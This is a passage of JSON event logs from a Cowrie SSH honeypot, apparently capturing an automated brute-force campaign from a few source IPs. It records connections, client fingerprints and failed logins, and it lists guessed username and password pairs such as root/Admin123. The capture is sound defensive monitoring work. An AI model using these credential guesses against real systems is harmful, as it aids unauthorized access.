etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:50.115501Z","src_ip":"91.92.42.227","session":"5989e7869128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51924,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d3fdc20b4c","protocol":"ssh","message":"New connection: 45.156.87.147:51924 (10.17.0.5:22) [session: a2d3fdc20b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:50.689071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:50.693429Z","src_ip":"45.156.87.147","session":"a2d3fdc20b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:50.785052Z","src_ip":"45.156.87.147","session":"a2d3fdc20b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:51.048116Z","src_ip":"45.156.87.147","session":"a2d3fdc20b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:52.133425Z","src_ip":"45.156.87.147","session":"a2d3fdc20b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":53594,"dst_ip":"10.17.0.5","dst_port":22,"session":"623e6f2fb4c5","protocol":"ssh","message":"New connection: 8.219.200.1:53594 (10.17.0.5:22) [session: 623e6f2fb4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:54.035512Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:54.193555Z","src_ip":"91.92.42.227","session":"5989e7869128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57668,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ea33d976ea","protocol":"ssh","message":"New connection: 91.92.42.227:57668 (10.17.0.5:22) [session: 75ea33d976ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:55.636380Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.541271Z","src_ip":"91.92.42.227","session":"5989e7869128","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.686832Z","src_ip":"91.92.42.227","session":"75ea33d976ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.690097Z","src_ip":"91.92.42.227","session":"75ea33d976ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"21dadcad1fcf","protocol":"ssh","message":"New connection: 45.156.87.147:51928 (10.17.0.5:22) [session: 21dadcad1fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.837637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.841418Z","src_ip":"45.156.87.147","session":"21dadcad1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:56.924633Z","src_ip":"45.156.87.147","session":"21dadcad1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:57.173014Z","src_ip":"45.156.87.147","session":"21dadcad1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:59:58.255269Z","src_ip":"45.156.87.147","session":"21dadcad1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab000ffa688","protocol":"ssh","message":"New connection: 8.219.200.1:55154 (10.17.0.5:22) [session: 1ab000ffa688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:00.430132Z"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:00.960115Z","src_ip":"91.92.42.227","session":"75ea33d976ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57744,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd166e93d0ab","protocol":"ssh","message":"New connection: 91.92.42.227:57744 (10.17.0.5:22) [session: fd166e93d0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:02.456778Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42900,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d32225aa1d9","protocol":"ssh","message":"New connection: 45.156.87.147:42900 (10.17.0.5:22) [session: 7d32225aa1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:02.962997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:02.982005Z","src_ip":"45.156.87.147","session":"7d32225aa1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.069699Z","src_ip":"45.156.87.147","session":"7d32225aa1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.333080Z","src_ip":"45.156.87.147","session":"7d32225aa1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.545888Z","src_ip":"91.92.42.227","session":"75ea33d976ea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.709762Z","src_ip":"8.219.200.1","session":"623e6f2fb4c5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.718661Z","src_ip":"91.92.42.227","session":"fd166e93d0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.729984Z","src_ip":"91.92.42.227","session":"fd166e93d0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:03.951602Z","src_ip":"8.219.200.1","session":"623e6f2fb4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:04.418833Z","src_ip":"45.156.87.147","session":"7d32225aa1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:07.827798Z","src_ip":"8.219.200.1","session":"1ab000ffa688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:08.619704Z","src_ip":"91.92.42.227","session":"fd166e93d0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54184,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63c72ead485","protocol":"ssh","message":"New connection: 91.92.42.227:54184 (10.17.0.5:22) [session: e63c72ead485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:08.800894Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2795b9be25","protocol":"ssh","message":"New connection: 45.156.87.147:52722 (10.17.0.5:22) [session: 8e2795b9be25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:09.163316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:09.169369Z","src_ip":"45.156.87.147","session":"8e2795b9be25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:09.253896Z","src_ip":"45.156.87.147","session":"8e2795b9be25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:09.506552Z","src_ip":"45.156.87.147","session":"8e2795b9be25","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:10.459949Z","src_ip":"91.92.42.227","session":"e63c72ead485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:10.470849Z","src_ip":"91.92.42.227","session":"e63c72ead485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:10.620814Z","src_ip":"45.156.87.147","session":"8e2795b9be25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:10.926533Z","src_ip":"91.92.42.227","session":"fd166e93d0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:11.211131Z","src_ip":"8.219.200.1","session":"623e6f2fb4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.215","src_port":34324,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4719e4d7af7","protocol":"ssh","message":"New connection: 96.127.172.215:34324 (10.17.0.5:22) [session: b4719e4d7af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.076813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.081870Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
